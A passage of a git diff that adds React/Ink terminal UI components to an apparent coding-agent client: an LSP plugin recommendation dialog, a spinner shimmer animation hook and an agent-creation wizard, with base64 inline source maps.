BQTtFQUFBO0VBQUEsSUFBQXNCLEVBQUE7RUFBQSxJQUFBdEIsQ0FBQSxTQUFBbUIsRUFBQTtJQWhCekRHLEVBQUEsSUFBQyxHQUFHLENBQWUsYUFBUSxDQUFSLFFBQVEsQ0FBTSxHQUFDLENBQUQsR0FBQyxDQUNoQyxDQUFBUCxFQUE2RCxDQUM3RCxDQUFBSSxFQWFLLENBQ0wsQ0FBQUUsRUFBc0QsQ0FDeEQsRUFqQkMsR0FBRyxDQWlCRTtJQUFBckIsQ0FBQSxPQUFBbUIsRUFBQTtJQUFBbkIsQ0FBQSxPQUFBc0IsRUFBQTtFQUFBO0lBQUFBLEVBQUEsR0FBQXRCLENBQUE7RUFBQTtFQUFBLE9BakJOc0IsRUFpQk07QUFBQSIsImlnbm9yZUxpc3QiOltdfQ==
\ No newline at end of file
diff --git a/_all-in-one-upload/cc-haha/src/components/LspRecommendation/LspRecommendationMenu.tsx b/_all-in-one-upload/cc-haha/src/components/LspRecommendation/LspRecommendationMenu.tsx
new file mode 100644
index 0000000..547942c
--- /dev/null
+++ b/_all-in-one-upload/cc-haha/src/components/LspRecommendation/LspRecommendationMenu.tsx
@@ -0,0 +1,88 @@
+import * as React from 'react';
+import { Box, Text } from '../../ink.js';
+import { Select } from '../CustomSelect/select.js';
+import { PermissionDialog } from '../permissions/PermissionDialog.js';
+type Props = {
+  pluginName: string;
+  pluginDescription?: string;
+  fileExtension: string;
+  onResponse: (response: 'yes' | 'no' | 'never' | 'disable') => void;
+};
+const AUTO_DISMISS_MS = 30_000;
+export function LspRecommendationMenu({
+  pluginName,
+  pluginDescription,
+  fileExtension,
+  onResponse
+}: Props): React.ReactNode {
+  // Use ref to avoid timer reset when onResponse changes
+  const onResponseRef = React.useRef(onResponse);
+  onResponseRef.current = onResponse;
+
+  // 30-second auto-dismiss timer - counts as ignored (no)
+  React.useEffect(() => {
+    const timeoutId = setTimeout(ref => ref.current('no'), AUTO_DISMISS_MS, onResponseRef);
+    return () => clearTimeout(timeoutId);
+  }, []);
+  function onSelect(value: string): void {
+    switch (value) {
+      case 'yes':
+        onResponse('yes');
+        break;
+      case 'no':
+        onResponse('no');
+        break;
+      case 'never':
+        onResponse('never');
+        break;
+      case 'disable':
+        onResponse('disable');
+        break;
+    }
+  }
+  const options = [{
+    label: <Text>
+          Yes, install <Text bold>{pluginName}</Text>
+        </Text>,
+    value: 'yes'
+  }, {
+    label: 'No, not now',
+    value: 'no'
+  }, {
+    label: <Text>
+          Never for <Text bold>{pluginName}</Text>
+        </Text>,
+    value: 'never'
+  }, {
+    label: 'Disable all LSP recommendations',
+    value: 'disable'
+  }];
+  return <PermissionDialog title="LSP Plugin Recommendation">
+      <Box flexDirection="column" paddingX={2} paddingY={1}>
+        <Box marginBottom={1}>
+          <Text dimColor>
+            LSP provides code intelligence like go-to-definition and error
+            checking
+          </Text>
+        </Box>
+        <Box>
+          <Text dimColor>Plugin:</Text>
+          <Text> {pluginName}</Text>
+        </Box>
+        {pluginDescription && <Box>
+            <Text dimColor>{pluginDescription}</Text>
+          </Box>}
+        <Box>
+          <Text dimColor>Triggered by:</Text>
+          <Text> {fileExtension} files</Text>
+        </Box>
+        <Box marginTop={1}>
+          <Text>Would you like to install this LSP plugin?</Text>
+        </Box>
+        <Box>
+          <Select options={options} onChange={onSelect} onCancel={() => onResponse('no')} />
+        </Box>
+      </Box>
+    </PermissionDialog>;
+}
+//# sourceMappingURL=data:application/json;charset=utf-8;base64,eyJ2ZXJzaW9uIjozLCJuYW1lcyI6WyJSZWFjdCIsIkJveCIsIlRleHQiLCJTZWxlY3QiLCJQZXJtaXNzaW9uRGlhbG9nIiwiUHJvcHMiLCJwbHVnaW5OYW1lIiwicGx1Z2luRGVzY3JpcHRpb24iLCJmaWxlRXh0ZW5zaW9uIiwib25SZXNwb25zZSIsInJlc3BvbnNlIiwiQVVUT19ESVNNSVNTX01TIiwiTHNwUmVjb21tZW5kYXRpb25NZW51IiwiUmVhY3ROb2RlIiwib25SZXNwb25zZVJlZiIsInVzZVJlZiIsImN1cnJlbnQiLCJ1c2VFZmZlY3QiLCJ0aW1lb3V0SWQiLCJzZXRUaW1lb3V0IiwicmVmIiwiY2xlYXJUaW1lb3V0Iiwib25TZWxlY3QiLCJ2YWx1ZSIsIm9wdGlvbnMiLCJsYWJlbCJdLCJzb3VyY2VzIjpbIkxzcFJlY29tbWVuZGF0aW9uTWVudS50c3giXSwic291cmNlc0NvbnRlbnQiOlsiaW1wb3J0ICogYXMgUmVhY3QgZnJvbSAncmVhY3QnXG5pbXBvcnQgeyBCb3gsIFRleHQgfSBmcm9tICcuLi8uLi9pbmsuanMnXG5pbXBvcnQgeyBTZWxlY3QgfSBmcm9tICcuLi9DdXN0b21TZWxlY3Qvc2VsZWN0LmpzJ1xuaW1wb3J0IHsgUGVybWlzc2lvbkRpYWxvZyB9IGZyb20gJy4uL3Blcm1pc3Npb25zL1Blcm1pc3Npb25EaWFsb2cuanMnXG5cbnR5cGUgUHJvcHMgPSB7XG4gIHBsdWdpbk5hbWU6IHN0cmluZ1xuICBwbHVnaW5EZXNjcmlwdGlvbj86IHN0cmluZ1xuICBmaWxlRXh0ZW5zaW9uOiBzdHJpbmdcbiAgb25SZXNwb25zZTogKHJlc3BvbnNlOiAneWVzJyB8ICdubycgfCAnbmV2ZXInIHwgJ2Rpc2FibGUnKSA9PiB2b2lkXG59XG5cbmNvbnN0IEFVVE9fRElTTUlTU19NUyA9IDMwXzAwMFxuXG5leHBvcnQgZnVuY3Rpb24gTHNwUmVjb21tZW5kYXRpb25NZW51KHtcbiAgcGx1Z2luTmFtZSxcbiAgcGx1Z2luRGVzY3JpcHRpb24sXG4gIGZpbGVFeHRlbnNpb24sXG4gIG9uUmVzcG9uc2UsXG59OiBQcm9wcyk6IFJlYWN0LlJlYWN0Tm9kZSB7XG4gIC8vIFVzZSByZWYgdG8gYXZvaWQgdGltZXIgcmVzZXQgd2hlbiBvblJlc3BvbnNlIGNoYW5nZXNcbiAgY29uc3Qgb25SZXNwb25zZVJlZiA9IFJlYWN0LnVzZVJlZihvblJlc3BvbnNlKVxuICBvblJlc3BvbnNlUmVmLmN1cnJlbnQgPSBvblJlc3BvbnNlXG5cbiAgLy8gMzAtc2Vjb25kIGF1dG8tZGlzbWlzcyB0aW1lciAtIGNvdW50cyBhcyBpZ25vcmVkIChubylcbiAgUmVhY3QudXNlRWZmZWN0KCgpID0+IHtcbiAgICBjb25zdCB0aW1lb3V0SWQgPSBzZXRUaW1lb3V0KFxuICAgICAgcmVmID0+IHJlZi5jdXJyZW50KCdubycpLFxuICAgICAgQVVUT19ESVNNSVNTX01TLFxuICAgICAgb25SZXNwb25zZVJlZixcbiAgICApXG4gICAgcmV0dXJuICgpID0+IGNsZWFyVGltZW91dCh0aW1lb3V0SWQpXG4gIH0sIFtdKVxuXG4gIGZ1bmN0aW9uIG9uU2VsZWN0KHZhbHVlOiBzdHJpbmcpOiB2b2lkIHtcbiAgICBzd2l0Y2ggKHZhbHVlKSB7XG4gICAgICBjYXNlICd5ZXMnOlxuICAgICAgICBvblJlc3BvbnNlKCd5ZXMnKVxuICAgICAgICBicmVha1xuICAgICAgY2FzZSAnbm8nOlxuICAgICAgICBvblJlc3BvbnNlKCdubycpXG4gICAgICAgIGJyZWFrXG4gICAgICBjYXNlICduZXZlcic6XG4gICAgICAgIG9uUmVzcG9uc2UoJ25ldmVyJylcbiAgICAgICAgYnJlYWtcbiAgICAgIGNhc2UgJ2Rpc2FibGUnOlxuICAgICAgICBvblJlc3BvbnNlKCdkaXNhYmxlJylcbiAgICAgICAgYnJlYWtcbiAgICB9XG4gIH1cblxuICBjb25zdCBvcHRpb25zID0gW1xuICAgIHtcbiAgICAgIGxhYmVsOiAoXG4gICAgICAgIDxUZXh0PlxuICAgICAgICAgIFllcywgaW5zdGFsbCA8VGV4dCBib2xkPntwbHVnaW5OYW1lfTwvVGV4dD5cbiAgICAgICAgPC9UZXh0PlxuICAgICAgKSxcbiAgICAgIHZhbHVlOiAneWVzJyxcbiAgICB9LFxuICAgIHtcbiAgICAgIGxhYmVsOiAnTm8sIG5vdCBub3cnLFxuICAgICAgdmFsdWU6ICdubycsXG4gICAgfSxcbiAgICB7XG4gICAgICBsYWJlbDogKFxuICAgICAgICA8VGV4dD5cbiAgICAgICAgICBOZXZlciBmb3IgPFRleHQgYm9sZD57cGx1Z2luTmFtZX08L1RleHQ+XG4gICAgICAgIDwvVGV4dD5cbiAgICAgICksXG4gICAgICB2YWx1ZTogJ25ldmVyJyxcbiAgICB9LFxuICAgIHtcbiAgICAgIGxhYmVsOiAnRGlzYWJsZSBhbGwgTFNQIHJlY29tbWVuZGF0aW9ucycsXG4gICAgICB2YWx1ZTogJ2Rpc2FibGUnLFxuICAgIH0sXG4gIF1cblxuICByZXR1cm4gKFxuICAgIDxQZXJtaXNzaW9uRGlhbG9nIHRpdGxlPVwiTFNQIFBsdWdpbiBSZWNvbW1lbmRhdGlvblwiPlxuICAgICAgPEJveCBmbGV4RGlyZWN0aW9uPVwiY29sdW1uXCIgcGFkZGluZ1g9ezJ9IHBhZGRpbmdZPXsxfT5cbiAgICAgICAgPEJveCBtYXJnaW5Cb3R0b209ezF9PlxuICAgICAgICAgIDxUZXh0IGRpbUNvbG9yPlxuICAgICAgICAgICAgTFNQIHByb3ZpZGVzIGNvZGUgaW50ZWxsaWdlbmNlIGxpa2UgZ28tdG8tZGVmaW5pdGlvbiBhbmQgZXJyb3JcbiAgICAgICAgICAgIGNoZWNraW5nXG4gICAgICAgICAgPC9UZXh0PlxuICAgICAgICA8L0JveD5cbiAgICAgICAgPEJveD5cbiAgICAgICAgICA8VGV4dCBkaW1Db2xvcj5QbHVnaW46PC9UZXh0PlxuICAgICAgICAgIDxUZXh0PiB7cGx1Z2luTmFtZX08L1RleHQ+XG4gICAgICAgIDwvQm94PlxuICAgICAgICB7cGx1Z2luRGVzY3JpcHRpb24gJiYgKFxuICAgICAgICAgIDxCb3g+XG4gICAgICAgICAgICA8VGV4dCBkaW1Db2xvcj57cGx1Z2luRGVzY3JpcHRpb259PC9UZXh0PlxuICAgICAgICAgIDwvQm94PlxuICAgICAgICApfVxuICAgICAgICA8Qm94PlxuICAgICAgICAgIDxUZXh0IGRpbUNvbG9yPlRyaWdnZXJlZCBieTo8L1RleHQ+XG4gICAgICAgICAgPFRleHQ+IHtmaWxlRXh0ZW5zaW9ufSBmaWxlczwvVGV4dD5cbiAgICAgICAgPC9Cb3g+XG4gICAgICAgIDxCb3ggbWFyZ2luVG9wPXsxfT5cbiAgICAgICAgICA8VGV4dD5Xb3VsZCB5b3UgbGlrZSB0byBpbnN0YWxsIHRoaXMgTFNQIHBsdWdpbj88L1RleHQ+XG4gICAgICAgIDwvQm94PlxuICAgICAgICA8Qm94PlxuICAgICAgICAgIDxTZWxlY3RcbiAgICAgICAgICAgIG9wdGlvbnM9e29wdGlvbnN9XG4gICAgICAgICAgICBvbkNoYW5nZT17b25TZWxlY3R9XG4gICAgICAgICAgICBvbkNhbmNlbD17KCkgPT4gb25SZXNwb25zZSgnbm8nKX1cbiAgICAgICAgICAvPlxuICAgICAgICA8L0JveD5cbiAgICAgIDwvQm94PlxuICAgIDwvUGVybWlzc2lvbkRpYWxvZz5cbiAgKVxufVxuIl0sIm1hcHBpbmdzIjoiQUFBQSxPQUFPLEtBQUtBLEtBQUssTUFBTSxPQUFPO0FBQzlCLFNBQVNDLEdBQUcsRUFBRUMsSUFBSSxRQUFRLGNBQWM7QUFDeEMsU0FBU0MsTUFBTSxRQUFRLDJCQUEyQjtBQUNsRCxTQUFTQyxnQkFBZ0IsUUFBUSxvQ0FBb0M7QUFFckUsS0FBS0MsS0FBSyxHQUFHO0VBQ1hDLFVBQVUsRUFBRSxNQUFNO0VBQ2xCQyxpQkFBaUIsQ0FBQyxFQUFFLE1BQU07RUFDMUJDLGFBQWEsRUFBRSxNQUFNO0VBQ3JCQyxVQUFVLEVBQUUsQ0FBQ0MsUUFBUSxFQUFFLEtBQUssR0FBRyxJQUFJLEdBQUcsT0FBTyxHQUFHLFNBQVMsRUFBRSxHQUFHLElBQUk7QUFDcEUsQ0FBQztBQUVELE1BQU1DLGVBQWUsR0FBRyxNQUFNO0FBRTlCLE9BQU8sU0FBU0MscUJBQXFCQSxDQUFDO0VBQ3BDTixVQUFVO0VBQ1ZD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
\ No newline at end of file
diff --git a/_all-in-one-upload/cc-haha/src/components/Spinner/teammateSelectHint.ts b/_all-in-one-upload/cc-haha/src/components/Spinner/teammateSelectHint.ts
new file mode 100644
index 0000000..420f949
--- /dev/null
+++ b/_all-in-one-upload/cc-haha/src/components/Spinner/teammateSelectHint.ts
@@ -0,0 +1 @@
+export const TEAMMATE_SELECT_HINT = 'shift + ↑/↓ to select'
diff --git a/_all-in-one-upload/cc-haha/src/components/Spinner/useShimmerAnimation.ts b/_all-in-one-upload/cc-haha/src/components/Spinner/useShimmerAnimation.ts
new file mode 100644
index 0000000..d1d4ea9
--- /dev/null
+++ b/_all-in-one-upload/cc-haha/src/components/Spinner/useShimmerAnimation.ts
@@ -0,0 +1,31 @@
+import { useMemo } from 'react'
+import { stringWidth } from '../../ink/stringWidth.js'
+import { type DOMElement, useAnimationFrame } from '../../ink.js'
+import type { SpinnerMode } from './types.js'
+
+export function useShimmerAnimation(
+  mode: SpinnerMode,
+  message: string,
+  isStalled: boolean,
+): [ref: (element: DOMElement | null) => void, glimmerIndex: number] {
+  const glimmerSpeed = mode === 'requesting' ? 50 : 200
+  // Pass null when stalled to unsubscribe from the clock — otherwise the
+  // setInterval keeps firing at 20fps even when the shimmer isn't visible.
+  // Notably, if the caller never attaches `ref` (e.g. conditional JSX),
+  // useTerminalViewport stays at its initial isVisible:true and the
+  // viewport-pause never kicks in, so this is the only stop mechanism.
+  const [ref, time] = useAnimationFrame(isStalled ? null : glimmerSpeed)
+  const messageWidth = useMemo(() => stringWidth(message), [message])
+
+  if (isStalled) {
+    return [ref, -100]
+  }
+
+  const cyclePosition = Math.floor(time / glimmerSpeed)
+  const cycleLength = messageWidth + 20
+
+  if (mode === 'requesting') {
+    return [ref, (cyclePosition % cycleLength) - 10]
+  }
+  return [ref, messageWidth + 10 - (cyclePosition % cycleLength)]
+}
diff --git a/_all-in-one-upload/cc-haha/src/components/agents/new-agent-creation/CreateAgentWizard.tsx b/_all-in-one-upload/cc-haha/src/components/agents/new-agent-creation/CreateAgentWizard.tsx
new file mode 100644
index 0000000..4ca9ba3
--- /dev/null
+++ b/_all-in-one-upload/cc-haha/src/components/agents/new-agent-creation/CreateAgentWizard.tsx
@@ -0,0 +1,97 @@
+import { c as _c } from "react/compiler-runtime";
+import React, { type ReactNode } from 'react';
+import { isAutoMemoryEnabled } from '../../../memdir/paths.js';
+import type { Tools } from '../../../Tool.js';
+import type { AgentDefinition } from '../../../tools/AgentTool/loadAgentsDir.js';
+import { WizardProvider } from '../../wizard/index.js';
+import type { WizardStepComponent } from '../../wizard/types.js';
+import type { AgentWizardData } from './types.js';
+import { ColorStep } from './wizard-steps/ColorStep.js';
+import { ConfirmStepWrapper } from './wizard-steps/ConfirmStepWrapper.js';
+import { DescriptionStep } from './wizard-steps/DescriptionStep.js';
+import { GenerateStep } from './wizard-steps/GenerateStep.js';
+import { LocationStep } from './wizard-steps/LocationStep.js';
+import { MemoryStep } from './wizard-steps/MemoryStep.js';
+import { MethodStep } from './wizard-steps/MethodStep.js';
+import { ModelStep } from './wizard-steps/ModelStep.js';
+import { PromptStep } from './wizard-steps/PromptStep.js';
+import { ToolsStep } from './wizard-steps/ToolsStep.js';
+import { TypeStep } from './wizard-steps/TypeStep.js';
+type Props = {
+  tools: Tools;
+  existingAgents: AgentDefinition[];
+  onComplete: (message: string) => void;
+  onCancel: () => void;
+};
+export function CreateAgentWizard(t0) {
+  const $ = _c(17);
+  const {
+    tools,
+    existingAgents,
+    onComplete,
+    onCancel
+  } = t0;
+  let t1;
+  if ($[0] !== existingAgents) {
+    t1 = () => <TypeStep existingAgents={existingAgents} />;
+    $[0] = existingAgents;
+    $[1] = t1;
+  } else {
+    t1 = $[1];
+  }
+  let t2;
+  if ($[2] !== tools) {
+    t2 = () => <ToolsStep tools={tools} />;
+    $[2] = tools;
+    $[3] = t2;
+  } else {
+    t2 = $[3];
+  }
+  let t3;
+  if ($[4] === Symbol.for("react.memo_cache_sentinel")) {
+    t3 = isAutoMemoryEnabled() ? [MemoryStep] : [];
+    $[4] = t3;
+  } else {
+    t3 = $[4];
+  }
+  let t4;
+  if ($[5] !== existingAgents || $[6] !== onComplete || $[7] !== tools) {
+    t4 = () => <ConfirmStepWrapper tools={tools} existingAgents={existingAgents} onComplete={onComplete} />;
+    $[5] = existingAgents;
+    $[6] = onComplete;
+    $[7] = tools;
+    $[8] = t4;
+  } else {
+    t4 = $[8];
+  }
+  let t5;
+  if ($[9] !== t1 || $[10] !== t2 || $[11] !== t4) {
+    t5 = [LocationStep, MethodStep, GenerateStep, t1, PromptStep, DescriptionStep, t2, ModelStep, ColorStep, ...t3, t4];
+    $[9] = t1;
+    $[10] = t2;
+    $[11] = t4;
+    $[12] = t5;
+  } else {
+    t5 = $[12];
+  }
+  const steps = t5;
+  let t6;
+  if ($[13] === Symbol.for("react.memo_cache_sentinel")) {
+    t6 = {};
+    $[13] = t6;
+  } else {
+    t6 = $[13];
+  }
+  let t7;
+  if ($[14] !== onCancel || $[15] !== steps) {
+    t7 = <WizardProvider steps={steps} initialData={t6} onComplete={_temp} onCancel={onCancel} title="Create new agent" showStepCounter={false} />;
+    $[14] = onCancel;
+    $[15] = steps;
+    $[16] = t7;
+  } else {
+    t7 = $[16];
+  }
+  return t7;
+}
+function _temp() {}
+//# sourceMappingURL=data:application/json;charset=utf-8;base64,eyJ2ZXJzaW9uIjozLCJuYW1lcyI6WyJSZWFjdCIsIlJlYWN0Tm9kZSIsImlzQXV0b01lbW9yeUVuYWJsZWQiLCJUb29scyIsIkFnZW50RGVmaW5pdGlvbiIsIldpemFyZFByb3ZpZGVyIiwiV2l6YXJkU3RlcENvbXBvbmVudCIsIkFnZW50V2l6YXJkRGF0YSIsIkNvbG9yU3RlcCIsIkNvbmZpcm1TdGVwV3JhcHBlciIsIkRlc2NyaXB0aW9uU3RlcCIsIkdlbmVyYXRlU3RlcCIsIkxvY2F0aW9uU3RlcCIsIk1lbW9yeVN0ZXAiLCJNZXRob2RTdGVwIiwiTW9kZWxTdGVwIiwiUHJvbXB0U3RlcCIsIlRvb2xzU3RlcCIsIlR5cGVTdGVwIiwiUHJvcHMiLCJ0b29scyIsImV4aXN0aW5nQWdlbnRzIiwib25Db21wbGV0ZSIsIm1lc3NhZ2UiLCJvbkNhbmNlbCIsIkNyZWF0ZUFnZW50V2l6YXJkIiwidDAiLCIkIiwiX2MiLCJ0MSIsInQyIiwidDMiLCJTeW1ib2wiLCJmb3IiLCJ0NCIsInQ1Iiwic3RlcHMiLCJ0NiIsInQ3IiwiX3RlbXAiXSwic291cmNlcyI6WyJDcmVhdGVBZ2VudFdpemFyZC50c3giXSwic291cmNlc0NvbnRlbnQiOlsiaW1wb3J0IFJlYWN0LCB7IHR5cGUgUmVhY3ROb2RlIH0gZnJvbSAncmVhY3QnXG5pbXBvcnQgeyBpc0F1dG9NZW1vcnlFbmFibGVkIH0gZnJvbSAnLi4vLi4vLi4vbWVtZGlyL3BhdGhzLmpzJ1xuaW1wb3J0IHR5cGUgeyBUb29scyB9IGZyb20gJy4uLy4uLy4uL1Rvb2wuanMnXG5pbXBvcnQgdHlwZSB7IEFnZW50RGVmaW5pdGlvbiB9IGZyb20gJy4uLy4uLy4uL3Rvb2xzL0FnZW50VG9vbC9sb2FkQWdlbnRzRGlyLmpzJ1xuaW1wb3J0IHsgV2l6YXJkUHJvdmlkZXIgfSBmcm9tICcuLi8uLi93aXphcmQvaW5kZXguanMnXG5pbXBvcnQgdHlwZSB7IFdpemFyZFN0ZXBDb21wb25lbnQgfSBmcm9tICcuLi8uLi93aXphcmQvdHlwZXMuanMnXG5pbXBvcnQgdHlwZSB7IEFnZW50V2l6YXJkRGF0YSB9IGZyb20gJy4vdHlwZXMuanMnXG5pbXBvcnQgeyBDb2xvclN0ZXAgfSBmcm9tICcuL3dpemFyZC1zdGVwcy9Db2xvclN0ZXAuanMnXG5pbXBvcnQgeyBDb25maXJtU3RlcFdyYXBwZXIgfSBmcm9tICcuL3dpemFyZC1zdGVwcy9Db25maXJtU3RlcFdyYXBwZXIuanMnXG5pbXBvcnQgeyBEZXNjcmlwdGlvblN0ZXAgfSBmcm9tICcuL3dpemFyZC1zdGVwcy9EZXNjcmlwdGlvblN0ZXAuanMnXG5pbXBvcnQgeyBHZW5lcmF0ZVN0ZXAgfSBmcm9tICcuL3dpemFyZC1zdGVwcy9HZW5lcmF0ZVN0ZXAuanMnXG5pbXBvcnQgeyBMb2NhdGlvblN0ZXAgfSBmcm9tICcuL3dpemFyZC1zdGVwcy9Mb2NhdGlvblN0ZXAuanMnXG5pbXBvcnQgeyBNZW1vcnlTdGVwIH0gZnJvbSAnLi93aXphcmQtc3RlcHMvTWVtb3J5U3RlcC5qcydcbmltcG9ydCB7IE1ldGhvZFN0ZXAgfSBmcm9tICcuL3dpemFyZC1zdGVwcy9NZXRob2RTdGVwLmpzJ1xuaW1wb3J0IHsgTW9kZWxTdGVwIH0gZnJvbSAnLi93aXphcmQtc3RlcHMvTW9kZWxTdGVwLmpzJ1xuaW1wb3J0IHsgUHJvbXB0U3RlcCB9IGZyb20gJy4vd2l6YXJkLXN0ZXBzL1Byb21wdFN0ZXAuanMnXG5pbXBvcnQgeyBUb29sc1N0ZXAgfSBmcm9tICcuL3dpemFyZC1zdGVwcy9Ub29sc1N0ZXAuanMnXG5pbXBvcnQgeyBUeXBlU3RlcCB9IGZyb20gJy4vd2l6YXJkLXN0ZXBzL1R5cGVTdGVwLmpzJ1xuXG50eXBlIFByb3BzID0ge1xuICB0b29sczogVG9vbHNcbiAgZXhpc3RpbmdBZ2VudHM6IEFnZW50RGVmaW5pdGlvbltdXG4gIG9uQ29tcGxldGU6IChtZXNzYWdlOiBzdHJpbmcpID0+IHZvaWRcbiAgb25DYW5jZWw6ICgpID0+IHZvaWRcbn1cblxuZXhwb3J0IGZ1bmN0aW9uIENyZWF0ZUFnZW50V2l6YXJkKHtcbiAgdG9vbHMsXG4gIGV4aXN0aW5nQWdlbnRzLFxuICBvbkNvbXBsZXRlLFxuICBvbkNhbmNlbCxcbn06IFByb3BzKTogUmVhY3ROb2RlIHtcbiAgLy8gQ3JlYXRlIHN0ZXAgY29tcG9uZW50cyB3aXRoIHByb3BzXG4gIGNvbnN0IHN0ZXBzOiBXaXphcmRTdGVwQ29tcG9uZW50PEFnZW50V2l6YXJkRGF0YT5bXSA9IFtcbiAgICBMb2NhdGlvblN0ZXAsIC8vIDBcbiAgICBNZXRob2RTdGVwLCAvLyAxXG4gICAgR2VuZXJhdGVTdGVwLCAvLyAyXG4gICAgKCkgPT4gPFR5cGVTdGVwIGV4aXN0aW5nQWdlbnRzPXtleGlzdGluZ0FnZW50c30gLz4sIC8vIDNcbiAgICBQcm9tcHRTdGVwLCAvLyA0XG4gICAgRGVzY3JpcHRpb25TdGVwLCAvLyA1XG4gICAgKCkgPT4gPFRvb2xzU3RlcCB0b29scz17dG9vbHN9IC8+LCAvLyA2XG4gICAgTW9kZWxTdGVwLCAvLyA3XG4gICAgQ29sb3JTdGVwLCAvLyA4XG4gICAgLy8gTWVtb3J5U3RlcCBpcyBjb25kaXRpb25hbGx5IGluY2x1ZGVkIGJhc2VkIG9uIEdyb3d0aEJvb2sgZ2F0ZVxuICAgIC4uLihpc0F1dG9NZW1vcnlFbmFibGVkKCkgPyBbTWVtb3J5U3RlcF0gOiBbXSksXG4gICAgKCkgPT4gKFxuICAgICAgPENvbmZpcm1TdGVwV3JhcHBlclxuICAgICAgICB0b29scz17dG9vbHN9XG4gICAgICAgIGV4aXN0aW5nQWdlbnRzPXtleGlzdGluZ0Fn